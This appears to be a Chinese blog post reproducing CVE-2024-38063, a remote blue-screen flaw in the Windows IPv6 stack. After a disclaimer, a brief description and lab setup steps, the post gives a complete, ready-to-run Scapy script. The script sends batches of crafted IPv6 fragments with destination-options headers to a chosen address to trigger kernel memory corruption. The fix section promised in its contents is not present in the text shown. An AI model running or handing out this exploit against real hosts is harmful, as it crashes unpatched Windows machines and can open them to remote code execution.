当前位置：首页 > article >正文

CVE-2024-38063 ipv6远程蓝屏

article 2024/9/23 15:41:52

文章目录

- 免责声明
- 漏洞描述
- 漏洞复现
- - 环境搭建
  - 漏洞复现
- 修复建议

免责声明

本文章仅供学习与交流，请勿用于非法用途，均由使用者本人负责，文章作者不为此承担任何责任

漏洞描述

我看了一下大概是因为核心缓冲区溢出后指向了ipv6，造成的远程代码执行，通过python进行构造分片发包

漏洞复现

环境搭建

启动一个windows系统将ipv6打开
控制面板>网络和 Internet>网络连接
勾选此选项
在这里插入图片描述
攻击机也需要打开ipv6因为要进行通讯步骤如上
可能win11ipv6地址会消失,使用以下命令即可

netsh winsock reset
netsh int ip reset reset.log

测试通信
在这里插入图片描述
环境搭建完毕

漏洞复现

使用以下payload

from scapy.all import *

iface=''
ip_addr='fd15:4ba5:5a2b:1008:748b:a6f0:2624:3d84'
mac_addr='00:0C:29:DA:1A:16'
num_tries=20
num_batches=20

def get_packets_with_mac(i):
    frag_id = 0xdebac1e + i
    first = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])
    second = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'
    third = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)
    return [first, second, third]

def get_packets(i):
    if mac_addr != '':
        return get_packets_with_mac(i)
    frag_id = 0xdebac1e + i
    first = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])
    second = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'
    third = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)
    return [first, second, third]

final_ps = []
for _ in range(num_batches):
    for i in range(num_tries):
        final_ps += get_packets(i) + get_packets(i)

print("Sending packets")
if mac_addr != '':
    sendp(final_ps, iface)
else:
    send(final_ps, iface)

for i in range(60):
    print(f"Memory corruption will be triggered in {60-i} seconds", end='\r')
    time.sleep(1)
print("")